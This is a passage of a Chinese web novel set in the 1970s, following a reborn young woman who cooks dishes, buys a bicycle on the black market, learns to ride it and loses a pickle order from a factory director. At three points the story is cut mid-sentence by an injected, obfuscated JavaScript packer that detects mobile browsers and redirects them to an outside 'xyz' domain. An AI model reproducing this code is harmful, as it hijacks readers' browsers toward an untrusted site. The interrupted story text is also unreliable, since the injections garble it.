刚进门准备打饭的工人们好几个都凑了过来，打饭的阿姨给大家的搪瓷快餐杯里各装了一些不同的菜，安厂长自己也打了一些，干烧鱼和红油猪耳朵的香味儿最为勾人，这个麻酱大拉皮也是平时工人们没吃过的，因此大家都抱着好奇的心态过来尝试。不多时，赵小霜做出来的菜就被一扫而空了。 21. 微辣毛血旺 离开钢铁厂以后，赵小霜准备去国营商店问一下缝纫机和自行车。安厂长显然对她的手艺比较满意，虽然还得再看看今天试菜工人们的意见，但听安静丽的意思，基本上就定好是她了。 赵小霜脚步轻快地往国营商店走去，今天是工作日，街道上人不是很多，街道边的几颗老银杏树的叶子已经变黄了，秋风吹过，不时有小扇子一样的叶子旋转着飘下来。 地下还掉了几个白果，银杏的白果可以入药，也可以和老母鸡一块煲汤，偶尔吃一点对身体有好处。但生的白果非常非常臭，赵小霜小时候不懂捡了几个玩，顺手放兜里给压烂了，结果衣服臭了一个月洗不掉味儿。 到了国营商店，赵小霜先买了几斤白糖和两桶醋，又买了一点其他的调料粉，用来做酱菜，至于猪肉、菌菇和蔬菜，赵小霜准备从黑市或者村里直接收购，一是她用的量会比较大，国营商店不会一次性卖给她这么多，二是国营商店都需要票证，赵小霜也没有那么多肉票和粮票。 买完调料赵小霜又在日用品区逛了逛，买了点蛤蜊油，给林秀英护手用。又买了几个印着“为人民服务”的红皮本，英雄牌钢笔倒是有货，要五块钱，对赵小霜来说负担得起，但是要四张工业券。这个时候圆珠笔也还没有普及，京市和深市可能有少量的货，川阳市应该都没有卖的。所以赵小霜只买了几根普通的中华牌2B铅笔，一根才五分钱，也能写很长时间了。 问到自行车的时候，售货员爱搭不理地应了一声：“八个月以后可能有，一百七十八块钱，十五张工业票。” 赵小霜又追问缝纫机什么时候能有货，售货员明显不耐烦地摆了摆手：“缝纫机也再过八个月，能有十几台，想买的话到时候过来排队。” 赵小霜也没辙，她只能再次寄希望于刘哥了，背着买好的东西，她一路摸进黑市的巷子里，找老四买了五十多斤猪肉和猪肚，买了一些干净的猪小肠，又买了一盆已经凝固好的猪血，猪血比鸭血更加细腻，也不容易碎，鸭血赵小霜一时半会也买不到，索性干脆用猪血来做毛血旺了。另外她准备灌点腊肠挂着，腊肠经过调味和晾干以后，保质期会很长，挂在通风处不用担心坏掉。万一哪天大雪封路了没办法出来买肉，剪几片腊肠蒸饭或者炒菜都非常不错。 赵小霜又四处奔走，买了一些蔬菜，也终于在巷子尾看到了刘哥，刘哥这次不知道从哪倒腾到一些烟酒，还有两块看着很新的金属表。刘哥每次卖的东西都不一样，也不知道他从哪整来的这些。赵小霜见周围没什么人，低声问他：“刘哥，你有没有办法能搞到缝纫机啊，不是那么新的也可以。” 刘哥有些为难：“大妹子，缝纫机现在太紧俏了，实在不好弄。”说罢，他又像想起什么似的：“诶，上次你让我帮忙打听自行车，我们邻居这两天正卖呢，就是可能没有那么新了，你看行不？” 赵小霜赶紧点头：“要，要，他怎么卖？” 刘哥伸出一个指头：“一百来块钱，飞鸽牌的。” 赵小霜没想到今天还有意外之喜，她本来想着怎么也得一个月才能拿到，这下可好了，她赶紧问刘哥：“我今天就想要，一会儿您方便带我过去不？” 刘哥起身拍了拍裤子上的土：“能行，我先带你过去吧，离得不远，不耽误做买卖。” 两个人收拾了摊位，左拐右拐没多久，就到了一个大院里，刘哥带着赵小霜上了二楼，敲了敲门：“杨哥！嫂子！在家吗？” 不一会儿，一个胖胖的中年女人开门走了出来，却没有请他们进去，只是冷冷地看着他俩：“什么事？” 刘哥搓了搓手，笑着说：“这不杨哥让我帮忙打听要自行车的，这位女同志想买，杨哥不在家？” “他上工去了，我怎么不知道他要卖自行车？” “杨哥没跟您说呀？”刘哥也有点尴尬，这两口子三天两头地吵架，吵急了还摔盆敲碗，但刘哥也没想到卖自行车这么大的事情，杨哥也没和媳妇儿商量。 他又局促地搓了搓手：“那我记错了估计是，嫂子您忙吧，我们不打扰了。” 结果刚扭头，杨哥就上来了楼梯：“小刘？你找到买自行车的人了？” “我怎么不知道家里要卖自行车？” 中年女人面色不虞。赵小霜直觉到一场狂风暴雨即将来临。 “哥，嫂子，那我们就先走了。” “走什么？！”杨哥也有些冒火：“和你商量什么？你肯定不让卖。小刘，推走。” 眼看着两个人又要掐起架来，刘哥赶紧拽着赵小霜下楼了，直到走出院门，还能听到两个人争吵的声音。 “对不住啊妹子，我也没想到是这么个情况，我再帮你问问吧，我最近都在那个巷子尾，你过来直接找我就行，我尽快帮你找找。” 赵小霜笑了笑：“没事儿刘哥，真太感谢你了，麻烦您缝纫机也帮着打听打听，我工业票不够，价格可以多加点。” 说完，她又补了一句：“要是实在买不着自行车，有人愿意按天出租也行，我按一天五毛给人家。”赵小霜开了一个比较高的价格，她也就最近这个月用车比较多，就算租20天，也就10块钱，对她来说不是特别贵，而出租车的那一方也能拿到一笔钱，也是皆大欢喜的一件事。 告别了刘哥，赵小霜也没别的事情了，趁着天还没黑，她快步赶了回去，想做一个微辣版的毛血旺试一试。 赵小霜在巷子里买了不少干辣椒，自己家里也种了一些红辣椒，做毛血旺之类的很够用了。到家以后，她先带了个橡胶手套，防止伤口湿水，然后才开始处理食材。 毛血旺需要用到的食材非常多，赵小霜把买来的豆腐皮切成一指宽的长条，豆芽、香菜、白菜之类的蔬菜都清洗干，猪血切成小块，猪肚翻开仔细地清洗一遍，切成细条焯水。还有之前剩下的一些鱼丸也备好，再把买来的干辣椒洗干净煮一会儿，和自己家摘的新鲜辣椒一起剁成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883672|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣椒沫，就可以开始做了。 赵小霜这次买的调料非常全乎，什么草果、桂皮、八角、香叶、小茴香她全都买回来了，她把这些调料用高度白酒泡上，又给锅里舀了几大勺猪油开火熬制，把洗净控干的洋葱、生姜片、香菜、大葱段放进去炸，炸出香味以后捞出去，再把刚才用白酒泡过的调料和辣椒沫放进去，加上几勺子豆瓣酱，熬煮大概十来分钟，放点白糖和盐调味儿就做好了。 虽然这个做起来麻烦，但是做一次可以做一大锅，放进大盆里会正常冷却成固态的底料，只要味道合适，下次做毛血旺直接切一块用就可以。 赵小霜这次没多做，她怕掌握不好调料的配比，因此只做了一小盆。味道闻着倒是很香，不过辣椒放的比较多，熬制的时候也有点呛嗓子和眼睛。 因为她现在还在吃药，不能吃太辣的，所以她把大部分的底料都舀进了盆里，锅里剩下少量的底料，加上很多清水煮开，又加了一点生抽提味儿，这个时候的味道就明显淡了不少，她把各种食材按顺序下锅煮熟，铺到大碗里，再把汤汁也倒进去，切一些蒜末和葱花，再放几个青花椒和干辣椒段，用热油一泼，这毛血旺就算是做好了。 赵小霜又做了一个拍黄瓜，炒了一个青菜，蒸了一锅掺着玉米粒和高粱米的大米饭，毛血旺最适合用来配米饭吃，上一世赵小霜吃毛血旺能连下两碗大米饭。 趁林家三姐弟还没回来，她又把准备做腊肠的猪前腿肉都切好了，三肥七瘦，加上盐、糖、花椒粉和胡椒粉搅匀，这个肉馅不像普通饺子馅那么碎，赵小霜保留了一些肉块，这样吃起来口感会更好，但相应地，也需要多腌制一会儿才能入味儿。 赵小霜把这些都做好了，左等右等不见妈妈他们回来，心下一阵奇怪，一般这个时候怎么都回来吃饭了。她把毛血旺盖到锅里，收拾了一下出门去找他们。 结果没出巷子多久就碰到三个人背着大包小包回来了，赵小霜赶紧上去接过林秀英手里的东西：“妈，舅舅，你们去干啥了这是？” 林建华神色里掩饰不住的得意：“隔壁石河村人手不够，找咱们村生产队借了人过去帮忙收谷子，石河村的萝卜产量很高，他们自己村分配完也还剩特别多，我们寻思你不是也要做那个萝卜丁吗，就买了不少回来。” 到院子里，几个人把麻袋卸下来，嚯，还真没少买，除了普通的白萝卜，还有红皮的圆萝卜，石河村的土偏沙壤土，很适合种萝卜土豆和红薯，林建业还背了一些面土豆和红薯，这下家里的东西可真是齐全了。 晚上几个人坐在院子里吃着毛血旺，林秀英上午就已经缝好了窗帘，风从窗户吹进屋里，窗帘随着风鼓起来又落下去。林家三姐弟不怎么能吃辣，虽然赵小霜已经做成了微辣，几个人还是被辣得嘶哈嘶哈的。 猪血滑嫩，豆芽清爽，猪肚劲脆，配上香喷喷的大米饭，赵小霜不出意外地又吃了两大碗，直吃到肚子鼓鼓胀胀的，才不舍地放下筷子。 22. 学骑车 昨天做的毛血旺味道证明她的底料配比没有问题，赵小霜把凝固了的红油底料切成四四方方的小块，调料都沉到了底下，上边还有厚厚一层红油，闻起来辛香麻辣，勾得赵小霜又想再来一顿了。她把底料分开用油纸包好，放进坛子里保存，到时候直接带去钢铁厂使用就可以了。 赵小霜早上照例做了一些卤味，这次分成了两个口味，一个酱香甜口的，一个麻辣咸口的，她最近卖猪耳朵就发现了，虽然县里的人平时吃辣很少，但大家都很乐意尝鲜，赵小霜做的也是改良过的，并不会特别辣，因此卖的很好。所以她准备以后不管做什么，都尽量做两种，方便口味不同的人购买。 做好卤味以后，赵小霜又做了一些板栗糕，这次她多加了一些蜂蜜和白糖，吃起来会更甜更润，比较符合这个年代人们的口味。她带着老几样到了黑市，刚摆开一会儿，就看见刘哥推着一个自行车朝她走过来。见赵小霜的买卖红火，人一圈一圈围着，刘哥朝她点点头示意，往巷子尾去了。 等赵小霜终于卖完了东西脱出身，已经快正中午了，她赶紧去找刘哥，远远地朝他招手。 刘哥指了指旁边的自行车：“喏，你要的自行车。” 赵小霜简直不可置信：“刘哥，你这也太厉害了吧，说整就能整来啊！我以为得等半个多月呢！” “这还是昨天杨哥那个车，他决定卖了。”刘哥抽了口纸卷的烟，“杨嫂子她妈病了，在市医院住着，已经半个多月了，吃的药输的液都很贵，杨哥和杨嫂子这个月又上工又在外边接活儿的，也填不上这个窟窿。这不，杨哥实在没办法了才要卖这个自行车的。” 刘哥边说着边自行车推给赵小霜看。这个车保养得很好，如果不说，完全看不出来已经骑了一年，车链也是新上过油的，车身一点磕碰都没有，擦得非常干净。 刘哥又叹了口气：“当时为了嫂子上班方便，租的房离嫂子厂里近，杨哥每天得走四五十分钟才能到木材厂，去年才刚攒钱买了这个车，谁知道今年就出这事儿呢。” 赵小霜心里也是五味杂陈，看那天杨哥和杨嫂子吵架的架势，她还以为他俩已经关系紧张闹到要离婚的地步了，一开始她还觉得杨哥不和家里人商量擅自卖车这事儿做得不太地道，但没想到杨哥居然是因为这个原因要卖自行车。 “那嫂子同意卖自行车了？” 刘哥又摇了摇头：“不知道，反正杨哥把车给我了，他说那个病要做手术，拖不得，他急用钱，说一百一就行了，就今天得赶紧卖了。” 赵小霜今天出门没想着要买大件，因此没有带这么多钱，她把口袋里的钱都掏出来，今天卖卤味和板栗糕一共得了四十五块钱，加上她早上出门带的二十三块钱，一共六十八，她只好让刘哥等她一会儿：“刘哥，剩下的钱我现在回去就拿给您，这车我要了，给我留着啊！” 赵小霜赶紧收拾了背篓，路上遇到同乡，又让人家捎带了一段路，这才紧赶慢赶把钱取回来。 赵小霜数出来七十二块钱递给刘哥，又掏出了几张粮票和肉票一起塞给刘哥：“杨哥这个车保养得好，看着很新，我出一百四买了。这几张粮票肉票就当我感谢您和杨哥，谁家都有不容易的时候。” 刘哥本来想推拒一下，又想到杨哥上门来找他时，因为熬夜干活儿布满血丝的双眼和乌青的眼圈，他叹了口气：“大妹子，你是个好心的，我替杨哥谢过你了，以后你有什么事儿，尽管和哥说，哥能帮上的，一定帮！” 刘哥又叮嘱了几句赵小霜刹车和打气的事儿，就拿着钱赶紧收拾摊子了，这一大笔钱他拿着也没办法安心做买卖，而且也怕嫂子的娘着急用钱做手术，他几乎是五步并作一步，飞快地往大院赶去了。 等刘哥走了，赵小霜才反应过来，她不会骑车啊！今天这车来的突然，刚才她回去拿钱也没想到这一茬，光顾着赶路怕车被别人买走了，也没叫小舅或者妈妈过来。 怎么办，好像只能推着回去了。赵小霜哭笑不得，她把背篓固定到后座上，推着车座高到她腰边的二八大杠，磕磕绊绊地推出了巷子。 这一路上赵小霜被脚蹬子磕了好几次腿，这才终于把这个车推回去，到了家门口，却看到周翊凡站在巷子口，背着光站着，好像在等人一样。 赵小霜推着车走过去：“周医生？” 周翊凡抬头，看到赵小霜推着高高的二八大杠露出询问的眼神，解释道：“李师傅说回来一批材料，明天他过来贴保温层和铺地砖，让我遇到你说一声。” 赵小霜赶紧点头，但又疑惑地问：“你就专门过来和我说这个呀？” 周翊凡指了指放在赵小霜家门口的一大摞灰黑色的板材：“我给你把材料送过来了，李师傅明天带不过来这么多。”说罢，他拍了拍赵小霜的车座子：“这车座子这么高，你怎么骑回来的？” 赵小霜把车停一边，把门打开请他进来：“我还没学会呢，我一路推回来的。你今天休假？” 周翊凡点点头：“昨天上的夜班，今天白班休半天，我就正好过来了。今天时间还早，我教你骑车？” 赵小霜有点不好意思：“是不是有点太麻烦你了周医生。” “已经麻烦那么多回了，也不差这一回。”周翊凡搬完了材料，已经找了扳手去帮赵小霜调车座了，不过这自行车本身就高，就算车座子调到最低，赵小霜也还得踮着脚才能骑上去。 周翊凡大概给她讲了一下怎么骑车，就把赵小霜“拎”了上去，好在赵小霜悟性高，在周翊凡的指导和保护下，没一会儿她就能一个人骑着走一段了。 见赵小霜平衡能力不错，周翊凡也直接松开了手，赵小霜这下可开心坏了，原来这学骑车也不难嘛，她左摇右晃，有点得意忘形，非要带着周翊凡骑车出去遛弯。受不了赵小霜热情的邀请，周翊凡无奈，只好长腿一迈坐了上去。 赵小霜一开始骑得还稳稳当当的，结果拐歪处几个玩滚铁环的小孩突然从巷子里跑出来，赵小霜慌乱之中，又害怕撞到他们，直接整个人连人带车地往旁边倒去，好在周翊凡腿长，直接把车架住了一些，但两个人还是摔到了地上。 周翊凡站起来拍了拍裤子上的土，一脸沉默。赵小霜也赶紧爬起来，好在现在农村都是土路，比较松软，两个人都没受伤，赵小霜拍了拍身上的土，一时有些尴尬。都怪自己太得意忘形了，哪有刚学会爬就要跑的，自己摔了不说，还连带着把周翊凡也摔了。 周翊凡心里也有点无语，本来就刚刚教会她，赵小霜不知道骑车带人难，他自己难道不知道吗，她非要带他，他居然耐不住她的催促就同意了。这下好了，两个人都摔个狗吃屎，周翊凡平时毫无破绽的脸上终于出现了一丝裂痕。 旁边几个小孩停了铁环，为首的女孩子看着像七八岁的样子，拘谨地揪着衣角，给赵小霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883673|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道歉：“对不起姐姐，你们没受伤吧？” 赵小霜捏了捏她的脸蛋，摆出姐姐的架势：“以后可不能在大马路上这样玩啊！太危险了！”她又拍了拍小女孩的脑袋：“姐姐和哥哥没事，你们玩去吧。” 几个小孩拿着铁环四散跑了，赵小霜不好意思地看着周翊凡：“要不还是你骑吧，我不太敢带你了。” 这个时候远处走来了一个老婆婆，她挎着一个竹编的篮子，远远地吆喝着：“茉——莉———！卖茉莉花咯！” 赵小霜几乎是同时就闻到了茉莉的清香，她平时最喜欢花香果香，尤其最喜欢茉莉花。重回来这一世，她还没有见到过茉莉花，她立刻跑过去问：“奶奶，你这茉莉怎么卖呀？” “一串一分钱，你可以当手链带，也可以泡茶喝。” 老婆婆一边用麻线把一朵朵的茉莉花串起来，一边说：“这茉莉花也就最后一茬了，过了这个月可就没有啦。” “奶奶，给我来一串。”赵小霜拿出一分钱买了一串，伸手让老婆婆给她带上。雪白的茉莉花串系在赵小霜的纤细手腕上，和她今天穿的白衬衫特别搭配，她的裤腿上还粘着摔倒时蹭到的泥土，但一张小脸神采奕奕，显然还沉浸在学会骑车的兴奋里。 周翊凡看着阳光下的赵小霜，一时有点晃神，平日里见到赵小霜，虽然也很有精气神，有点时候却总是不自觉地皱眉头，或者心事重重的样子，说话做事也有着远超年龄的成熟。今天却难得看到她表现得像小孩一样。 “怎么啦？” 赵小霜的声音把周翊凡唤了回来，她举起手腕给周翊凡看：“好看吧？奶奶说这是今年最后一茬茉莉了。” 周翊凡点点头：“好看。” 经过刚才的摔跤，周翊凡已经不信任赵小霜的车技了，赵小霜自己也不敢再托大，乖乖地坐到了后座上，周翊凡的车技就好了很多，他稳稳地带着小霜往家里走。 腕间茉莉的清香传来，赵小霜抬起手腕嗅了嗅，她突然想起来之前在临安市的街边吃过一种甜豆花，临安市是深市旁边的一个小城市，当时培训期间她一个人跑出去散心，也顺带吃了许多那边的小吃。那种甜豆花和北方的豆腐脑很像，但是比豆腐脑要更弹，而且配的佐料也都是甜口的，赵小霜吃的是加了茉莉蜜的，蜂蜜被茉莉香浸润以后少了一丝甜腻，洁白的茉莉花瓣变得晶莹剔透，豆花冰凉爽口，比酸奶酪口味更淡，却也能更好地突出茉莉的香味儿。 赵小霜这两天正愁席面的甜点做什么合适，这下她心里几乎是瞬间就确定了，豆花只需要普通的豆子就可以做，和做豆腐差不多，成本也不高。她还可以把家里的桂花也做一个桂花蜜，用这两种蜜来配甜豆花，简单易做，大人小孩应该都很爱吃。吃完毛血旺这种辣菜，来一碗清爽解辣、冰凉适口的甜豆花实在是再合适不过了。 赵小霜赶紧拍了拍周翊凡：“停车停车！” 周翊凡赶紧刹车，车还没停稳，赵小霜就跳下车往回跑了，周翊凡眼看她跑回刚才的地方，和老婆婆说了什么，就把装满茉莉花的篮子挎在了自己胳膊上。 赵小霜满意地回来，坐上后座：“周医生，晚上我酿茉莉蜜，你回去的时候给你带一瓶。你平时泡水喝放一点这个，特香。” “我发现你有个特别神奇的地方。” “什么？” “不管什么东西，到你这儿都得变成吃的。” 23. 临时毁约 晚上赵小霜又做了一次毛血旺，这次比上次放的底料还少，变成了微微微辣的毛血旺，口味更加清淡，也省得大家边吃边灌水。 吃完饭以后，赵小霜又去后门的桂花树上摘了一盆桂花，把桂花和茉莉花都摘干净去掉花梗，只留下干净的花瓣，洗干净控干水。两个小锅放上□□糖和清水煮开，分别倒入桂花和茉莉花焖煮十几分钟，一时间满院子都是花的香气，闻了让人心旷神怡，就连衣服上都沾上了花的味道。 等煮好的花冷却以后，装罐，倒满椴树蜜，浸泡一段时间就是非常好喝的花蜜了，可以直接冲水喝，也可以搭配甜品吃。 周翊凡帮赵小霜带过来了保温材料，又教了她骑车，心安理得地又在林家小院“蹭”了一顿饭，临走还带了两瓶花蜜回去。 赵小霜看了看日历，还有三天就是答应王厂长送酱菜的时间了，她也得开始着手做了。 家里基本上所有的食材最近都陆陆续续备齐了，还差一些鸡肉、鱼虾和鸡枞菌，鱼虾林建华已经上山去帮她收了，鸡枞菌现在山里也没有那么多了，而且采摘起来非常费时费力，赵小霜索性去黑市直接买了。这也是她第一次自己骑着车去西顺县，除了土路有些颠簸以外，一切都非常顺利。 有了自行车，赵小霜能带回去的东西也多了不少，她直接一次性买齐了所有的食材，又去中医馆开了一些日常可以喝的茶饮，除了乌梅汤，还有石斛麦冬茶。回去的路上，看到有人卖刚采摘的梨子，她也买了不少，用来做秋梨膏喝，可以润燥滋阴。 这两天林家三姐弟也没有再去上工，赵小霜接的这个单子比较大，加上李师傅这两天也要过来铺砖、贴保温层，还得管几个人的饭菜，赵小霜一个人忙不过来，因此林家三姐弟也提前和生产队请了假。 一家四口洗坛子、沸水消毒、洗菜切菜、调料汁、处理鸡肉、炼猪油、炒菜做饭、洗锅洗碗……熬油鸡枞的时候得一直注意着火候，火太小了炸不熟，火太大了会直接糊掉。小鱼小虾处理虽简单，却得好好挑拣，把品相不好的拣出去，再反复清洗很多次，又费眼睛又费力气。 往往是这个锅刚空出来，就又要做中午饭了，午饭的碗还没来得及洗，锅里的小鱼小虾又炸熟了得赶紧捞出来。四个人八只手简直要忙出火星子了。 李师傅带着两个徒弟也是忙上忙下，他们过两天要去外地干盖房子的活儿，所以也只能这两天紧赶慢赶把这边的活儿做完。小小的林家小院里，几个人忙得热火朝天。 七个人都是连着两天干活到半夜，几乎是沾枕头就睡，林秀英都累得打呼噜了。就这样直忙活了整整两天两夜，才把东西都做出来，当然赵小霜也顺便给自己家里留了几坛酱菜，等到过冬吃。 到了去送货的这天，赵小霜让林建华去大队借了自行车，两个人一人一辆自行车，把昨天做好的油鸡枞、香菇卤肉酱、糖醋萝卜丁、酸辣豆角等小菜都装到背篓里，固定到后座上，就骑着车出发了。 骑车不到一个小时俩人就到了钢铁厂，而且带着这么重的背篓骑过来，一点都不累，赵小霜暗自感叹，有车真是太省时间了！这个点正好赶上工人们上工的时候，赵小霜最近常来这边，保安大爷都已经熟悉她了，没有让她登记，就摆了摆手让赵小霜和林建华跟着人流骑车进去了。 赵小霜带着林建华到办公楼下，两个人背着沉重的背篓爬上了二楼，敲响了王厂长办公室的门：“王厂长，我是赵小霜，酱菜我给您带来了。” 等了一会儿，赵小霜再次敲门的时候，王厂长才过来开门，看见她，脸上却没有高兴的神色，反而有些别扭，他左右看了看，走廊里人比较多，他开门把赵小霜和林建华请了进去，却没有让他们坐的意思。 赵小霜按耐住心下的奇怪，微笑着说：“王厂长，这两筐是您之前跟我定的，油鸡枞、鱼虾酱、腌菜，我都带过来了，您看看？” 王厂长也不看她的背篓，反而坐下搓了搓手，“哎呀，小同志，这段时间呢，咱们一直也没有见面，最近厂里的产量下滑了，哎呀，大家都过得很艰难呀。” 赵小霜看出来了他的顾左右而言他：“王厂长，您有话不妨直说。” “是这样的，小同志，我呢，找到了比你供货更便宜的人，人家做的酱菜和你的一样，但是要价可是比你的低了三毛钱，我们定这么多，一瓶三毛钱，一百瓶就是三十块钱了，你也要理解我，我们厂现在挣钱也不容易……” 赵小霜冷冷地打断了他：“王厂长，我现在都已经把东西带过来了，你这个时候反悔，是不是不太好啊。” 王厂长见她这个样子，索性也不装了，他摆出一副你能奈我何的样子：“小同志，做买卖也讲究一个你情我愿，我们只是口头说好了，现在我这边不需要了，难道你要强买强卖？” 林建华在一旁拳头都捏紧了，赵小霜这两天为了做这一百来瓶酱菜，洗菜洗得手都通红了，她手上的伤也刚好，一家四口忙忙碌碌了两整天，才做出来这些东西，这个王厂长说不要就不要了，这不把人当猴耍吗？！ 赵小霜也很生气，也怪她当时看到这个大单子太过激动，对方又是一个大厂的厂长，估摸着不会毁账，所以也没有收定金。现在对方咬死了不买她的，她也只能自认倒霉，就算把事儿闹大，这毕竟是在厂里，哪个工人会为了她得罪自己的领导？ 眼见林建华要冲上去和他理论，赵小霜拉住林建华的袖子：“小舅，我们走。我的东西，也不卖给不讲诚信的人。” 舅甥两人把背篓背到楼下，遇到了安厂长，安厂长笑着和赵小霜打招呼：“小霜同志，来送酱菜？”见两个人气氛低沉，她又问：“怎么了？出了什么事？” 赵小霜把事情的来龙去脉告诉安厂长，安静丽低头沉思了一会儿，开口道：“之前我们是一起决定了职工福利用这些油鸡枞，但这个事情主要还是王利民负责， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889539|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这背后的缘由我也不太清楚，我可以帮你问问。不过，招待领导的席面还是由你来做，这是我决定的，别人改变不了。” 赵小霜谢过安静丽，和林建华推着车出了钢铁厂，“小霜，这怎么办，这么多的东西，去哪里卖呢？” 赵小霜倒是不急，她内心的愤怒已经冷却了下来，没有钢铁厂，还有纺织厂和收音机厂，一天卖不完，还有两天三天，酱菜本身盐分大，密封好的话十来八天都不会坏。纺织厂和收音机厂卖不完的话，她就再去黑市摆摊卖，实在剩下的话就自己吃，顶多亏个二三十块钱，做生意本来也要考虑亏本的情况，赵小霜并不太在乎这点钱。 只不过，到底谁能和她做出来一样的东西呢？赵小霜想不明白，她看了看工厂门口的钟表，这个点估计纺织厂和收音机厂的人也都上工了，没什么人在外边。 “小舅，我们先去黑市吧，等晚上工人们下工了，我们再去纺织厂，上次我去那边卖猪耳朵，也一会儿就卖完了，你不用担心。” 说完，舅甥两人又吭哧吭哧地骑着车往黑市的巷子去了，虽然今天是工作日，但巷子里的人还是不少，这年头双职工的家庭并不是很多，大部分都是一个上班挣钱，另一个在家照顾老人小孩，接点零工补贴家用。这个点正好大人上班小孩上学，而国营商店的肉已经卖的差不多了，所以很多人都过来黑市买菜买肉。 赵小霜的瓶瓶罐罐一摆出来，就吸引了不少人，可惜她这次没做卤味，不然又能卖出去不少。赵小霜把定价整体调低了一些，又打开几个不同的小菜让大家试吃，一上午过去，一个背篓的菜就已经卖空了。 中午到了饭点，巷子里人已经越来越少，赵小霜去其他摊子买了几个烧饼，跟林建华蹲在墙角啃着吃。 “小舅，你还想不想念书？” 赵小霜本来想等开春天气好了以后，再去西顺县租房子，但是上次刘哥提醒了她，一过完年学校基本就都开学了，想赶上这个学期，必须得在年前把入学手续办了。而且在村子里，她也不止一次听到过那些婶子们背后说林秀英的闲话，林秀英每天下田地干活儿，不怎么和村子里的人说话，但赵小霜知道她肯定也或多或少听到过闲言碎语。 林家庄和西顺县认识她们的人太多，如果去西顺县租房子，还是会遇到很多认识的人，林秀英如果离婚，势必会成为这些人茶余饭后的谈资。赵小霜虽然已经重生一次，不太在乎别人的看法，但人言可畏，整天活在这样的环境里而忽略他人的闲话，本身也不容易做到。 所以赵小霜决定一步到位，直接带着一家人去川阳市租房子，虽然花销肯定会很大，但是川阳市的经济好，挣钱的法子肯定也更多。赵小霜对自己和家人的能力都有信心，不天天顿顿吃肉，只是生存下去还是很容易的。 她抬头看了看林建华，再一次开口，已经换成了坚定的口吻。 “小舅，我们去川阳市念书吧。” 24. 4凉菜6热菜1主食1甜点 “我都二十一了，我还回去念啥书呀。”林建华摆了摆手，“你要是还想念，我们砸锅卖铁也会供你读的，我自己就算了。” 明年的冬天，一纸文件签下来，就要恢复高考了，林建华不知道，赵小霜却不想让他放弃这次机会，她只好顺着林建华说：“对，我还想读书，小舅，咱们一块去川阳市吧。” “川阳市？小霜，咱们从来没去过那么远的地方呀，人生地不熟的，你咋想着去那呢？” 赵小霜吃完了最后一口烧饼，擦了擦嘴角的渣子：“川阳市的经济好，能挣更多的钱，小舅，我们不会一辈子在林家庄里种地的，大舅和妈妈可能不理解，但是我知道你能理解，人往高处走，我这几天忙完就去川阳市看房子，我要去川阳市读书。” 林建华年纪小，他也可以理解赵小霜的“雄心壮志”，只是，他们一直都在村里，贸然出去，真的能挣到钱吗？在林家庄生活尚且费劲，更何况是八十公里以外的川阳市呢。 赵小霜没再多说，眼看着下午人逐渐变少，她又去附近买了一些白米白面，起身和林建华往收音机厂去了。 等到六点下工，工人们才陆陆续续从厂里出来，卖到八点，差不多卖掉半背篓的东西，赵小霜明天还得一大早去钢铁厂里准备食材，所以两个人也没有再留，骑着车回林家庄了。 第二天天还没亮，赵小霜就起床了，她把自己做的红油底料和一些调料粉装好，又带了两罐桂花蜜和茉莉蜜，林建业不放心她一个人天黑着骑车，也起床穿衣服，骑车送赵小霜去钢铁厂。 到钢铁厂的时候天刚刚蒙蒙亮，钢铁厂已经布置得非常热闹了，几个工人踩着梯子在大门口挂上“热烈欢迎领导莅临指导”的横幅，影壁前边还摆了盆栽的花。 赵小霜没有多停留，她让林建业先骑车回去了，自己则急急忙忙地奔向食堂后厨。 好在安厂长非常靠谱，她要求的食材都已经准备好了，大鲤子鱼为了新鲜还用清水养在盆里，猪肉肥的、瘦的、肥瘦相间的都准备得很充足。张宝恩师傅今天也来的特别早，赵小霜负责领导的饭菜，食堂师傅们今天也还要做职工们的饭菜，而且要比平常多做两道肉菜和汤，所以食堂师傅们没一会儿也陆陆续续过来了。 赵小霜洗干净手，把辫子盘起来戴好帽子，系上围裙，整理得干干净净以后，就开始炼猪油了，炼猪油比较费时，但现做出来的油滋啦会更脆更香，所以赵小霜没有提前炼。她照例选择了水炼猪油的办法，这样的猪油炼出来像雪花膏一样白净，后续用来炒菜做汤都不会影响菜品的色泽。 这边猪油慢慢炼着，赵小霜又开始和面，她用不同的比例，做出来两种面剂子。一种是玉米面比较多的，一种是高粱面比较多的，这两种面发酵以后吃起来口感不同，放在席面上颜色也不一样，一个黄一个红，交错着放也好看。 